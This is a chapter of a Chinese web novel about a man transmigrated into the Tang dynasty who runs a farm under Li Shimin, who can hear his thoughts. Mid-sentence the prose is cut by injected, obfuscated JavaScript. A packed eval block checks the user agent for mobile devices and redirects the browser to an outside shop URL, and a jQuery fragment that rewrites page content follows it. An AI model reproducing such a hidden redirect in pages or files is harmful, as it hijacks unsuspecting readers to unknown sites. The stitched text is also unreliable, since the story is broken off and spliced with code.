16. 放肆!
作品:《我在大唐建农场》 “都退下。”李世民抬手挥退众人,好不容易来一次,他得找机会探听探听心里的疑惑。
他坐在床边,看那张熟悉的面孔,“义贞说你是野鬼上身,所以你到底叫什么名字?”
元卿暗道,果然程咬金不可能不将此事告诉自己老板。
他以为李世民只是在自言自语,心里欢欢喜喜地应他,“我叫元卿。”
李世民不动声色地记下了这个名字,“你放心,我大唐容得下异族,也容得下一只孤魂,你若想继续顶着李元吉的身份样貌行走于世,你就继续用他的名字。若有一日你不想做李元吉了,朕给你安排一场假死,让你光明正大地用真名。”
元卿这次是真哭了,这是什么绝世好偶像?不仅英明神武、貌美贤惠,还善解人意。
此时此刻的元卿选择性忽略了李世民在面对敌人时的冷酷残忍。
听到‘英明神武’几个字,正准备勾唇角的李世民,在听到‘貌美贤惠’后,脸彻底黑了下来。
他宛若死亡的视线幽幽盯向元卿,若不是不能暴露他能听见对方心声的秘密,他一定给他来上几下,让他学学什么叫‘貌美贤惠’!
什么词都敢往他身上套,真是活得不耐烦了。
他承认他有收买人心的嫌疑,但不管手段如何,有用就行。
对于元卿来说,这种手段确实有用,尤其是李世民没有在他清醒的时候说这种话,而是在他昏睡不醒的时候才显得尤为真诚。
要是他醒着,李世民这样说,他会觉得对方在做戏。
这时李渊走了进来,看着风尘仆仆的李世民,“辛苦了。”
李世民眼眶一红,刚要挤出两滴眼泪,就听见元卿逼逼叨叨的声音,“二凤陛下莫不是要哭?”
你才要哭,你全家都要哭!
李世民情绪瞬间就恢复了正常。
下一刻,李渊摸了摸他的头,“三胡的事是为父错怪了你。”
见他丢下政务如此着急忙慌地赶来,他就知道李世民心中还是有这个兄弟的,只要他不是真的冷血无情,他心里多多少少还是有些安慰的。
那两滴眼泪终究还是没有留住,李世民别开头望天,他已经不知道有多久没有和父亲如此亲近了,好像是从他封天策上将之后,又或者是更早之前,他父亲为了平衡他和李建成之间的势力,处处打压他。
元卿心里已经笑翻了天,历史诚不欺他,二凤陛下果然是个爱哭鬼。
“放肆!”听见他心声的李世民气急败坏地吼了一声。
李渊,“……”
刚抬脚准备跨入门的苏勖,听到这句又默默把脚缩了回去。
李渊沉着脸,“你骂谁放肆?”
“我说不是骂您,您信吗?”李世民小心翼翼道。
李渊幽幽地看着他,“这屋里除了你、我还有活人吗?”
元卿,“???”
虽然我躺着,但我还没死呢。
李世民狠狠瞪了床上的罪魁祸首一眼,躬身行礼,“是儿臣一时嘴瓢,望父亲恕罪。”
李渊冷一声,一甩袖子转身就走,李世民揉了揉脸,有些无奈,都怪某个混账东西,整天就知道坑他。
苏勖的声音在门外响起,“陛下,臣有事要报。”
李世民走到门口,“何事?”
“巡逻的护卫来禀,庄外有人窥伺,疑是流匪。”苏勖恭敬道。
李世民恍然意识到那些人是怎么回事,望向东边那片已经长得绿油油的菜地,漠然道,“自隋乱之后,黄河之北千里无烟,桑农咸废,百姓凋敝之状随处可见,关中尤甚,不怪他们走上这条路。”
他抬脚跨出房门,“既然遇上了,朕就教化。
若是教化不通,他也不介意送他们上路。
听到有流匪来犯,担忧自己菜地的元卿,竟有垂死病中惊坐起的征兆,手指急切地动了动,却没人理他。
他在心里狂喊,“我的菜,陛下,一定要看好我的菜!”
李世民脚步一顿,真是又无语又好笑,低声回应他,“知道了,朕一定守护好你的菜。”
但显然元卿听不见,意识困在身体里,哪怕他再清醒,也无法动弹。
李世民没有轻举妄动,而是吩咐接替程咬金护卫农庄的安元寿按兵不动,一切如常,他要等到流匪入庄之后再进行包抄。
他先去和李渊打了声招呼,告诉了他自己的计划,让他不必担忧。虽然李渊看他依旧鼻子不是鼻子,眼不是眼,但却没有反驳他的提议。
亥时之后,庄上所有营帐和屋子都熄了灯,只留下一小部分人正常巡逻。
庄外传来悉悉索索的声音,领头的人一脸络腮胡,双眼如牛,格外明亮。
他打了个手势,压低声音道,“我已经查探过了,是有朝廷的大官在这里休养,只要抢了这个庄子,接下来两个月都不用愁了。”
众人摩拳擦掌,他们本是良民,但因战乱背井离乡,早就已经饿怕了。
这个世道容不下好人,而且听说朝廷又生了乱子,不知何时才能稳定下来,他们还看不看得到回家的希望,只能是饱一顿算一顿,活一日算一日。
“走,宰了那群狗娘养的,凭什么他们能吃香喝辣,老子只能啃泥嚼树。”
这句话极其具有煽动性,因为他们就是这么过来的,络腮胡一喊,立刻有人跟着他往前冲。
然而没等他靠近营帐,原本以为睡下的士兵全都涌了出来,披甲执矛,全副武装,哪有半点解衣欲睡的样子。
“娘的,中计了。”络腮胡恨得咬牙,他看着缓缓而出的李世民,“就是你设计害老子?”
李世民气定神闲地摇了摇头,“对付你们,不需要脑子。”
络腮胡:“……”
他怎么觉得自己好像被人小瞧了?
他手里握着抢来的长刀,“放马过来,老子不怕你。”
李世民负手站在田垄上,上下打量了他一眼,“就你,想做我老子,你配吗?”
李渊也跟着凑热闹,“滚犊子,他要是你老子,我又是谁?”
他开口道,“这狗东西狗嘴里也吐不出象牙来,宰了吧。”
李世民点点头,“听阿耶的。”
父子俩一唱一和,直接决定了他们的结局。
络腮胡满脸茫然,都不问问他们来干什么的吗,也不问问他们是什么人?
李世民一挥手,士兵们手中的长矛立马朝包围圈中的几十人扎了上去。
“慢着!”络腮胡大喊一声,“郎君行行好,我等只是太饿了才出此下策,我观你等也是富庶之人,施舍我等一点也没什么损失。”
李世民看着他,“你识过字?”
络腮胡点点头,“学过一点。”
李世民目光从那一张张惶恐又视死如归的脸上一一划过,“要我放过你们也可以……”
他指
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17411191|200086||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着眼前这片一望无际的农庄,“留下来替我做活,管吃管住,但没有工钱。”
众人的眼神顿时如狼看见了肉,纷纷冒着绿光,有人脱口而出,“还有此等好事?”
李世民颔首肯定,对于这些流匪来说,不用饥一顿饱一顿,也不用担心哪日被官兵逮住命悬一线,确实是一件好事。
他才不会说是觉得元卿一个人开垦这一片农庄,速度实在是太慢了,他不得不给他增加一些人。
驻守在这里的士兵还有建造宫殿的任务,实在挪不出手来给他种田,这群流匪简直是送上门的免费劳动力,不用白不用。
他招来苏勖,“把这些人带下去做个登记,以后他们就是李郎君的人了。”
苏勖羡慕地叹了口气,“陛下对李郎君可真是恩宠……”
‘有加’两个字还没有出口,就见李世民威胁的目光瞟了过来,苏勖连忙改口,“陛下对李郎君真是高义,孝感天地。”
李世民,“???”
孝什么?你再说一遍,朕保证不打死你。
但最终他还是没有打死他,好歹是他秦王府十八学士之一,就是这张嘴跟某人待一起后越学越损了。
“书上说,近朱者赤,近墨者黑,以前朕还不信,现在信了。”李世民盯着他,“说,是不是你带坏了朕的四弟?”
苏勖,“……”
真是好大一口锅,明明是他跟李郎君学的好吧。
他抬头瞥了眼李世民的脸色,见他眼中藏着揶揄,嘴角一抽,到底是谁学坏了?
一场抢劫简直如同儿戏,没有半点惊心动魄,元卿还期待着李世民大杀四方,结果,就这?
刚进门的李世民听见他有些遗憾的心声,无语了一瞬,真是个看热闹不嫌事大的主。
“我给你招了一批人,你自己看着办,不听话就杀两个祭旗,震慑人心。”李世民道,“等你醒来后,苏勖会告诉你具体怎么处理。”
元卿高兴坏了,真是打瞌睡就有人送枕头,他正愁怎么忽悠,不,怎么劝服李世民给他人手,没想到这就送来了。
他要在一个月内赚齐200繁荣度,光靠他一个人是不可能的。
就在此时,系统的声音响起,“恭喜宿主,转化流匪48个,长安城外治安提高,繁荣度增加至48。”
元卿‘咦’了一声,还能这样?
但想想也就释然了,治安也是判定繁荣度的标准之一,只是转化一个人才提高1点,是不是有点太廉价了?
不过有总比没有好,元卿安慰自己。
而此时入宫去取药的士兵也回来了,御医看了一眼,道,“直接把人参切成片泡水,给郎君喂下便可。”
杨璧云照做。
没过多久,元卿就感觉身体热了起来,□□的力量渐渐恢复,他缓缓睁开了眸子,朝李世民笑了笑,“多谢陛下亲自探望,臣真是荣幸到家了。”
李世民语重心长地拍了拍他的肩,“既然荣幸那就好好干活,太史令上奏,明年是个大旱之年,大旱之后必大蝗,培养抗旱作物,治理蝗灾的任务,朕就交给你了,是你做得好,朕可恢复你的自由。”
元卿一怔,这个时代的天文预测已经如此准确了吗?还是说,李世民从他之前的要求里察觉出了蛛丝马迹?
不过且不提这些,二凤陛下真是给他画了一个好大的饼,但他不吃也得吃,不走出这个农庄,他的目标永远也无法实现。

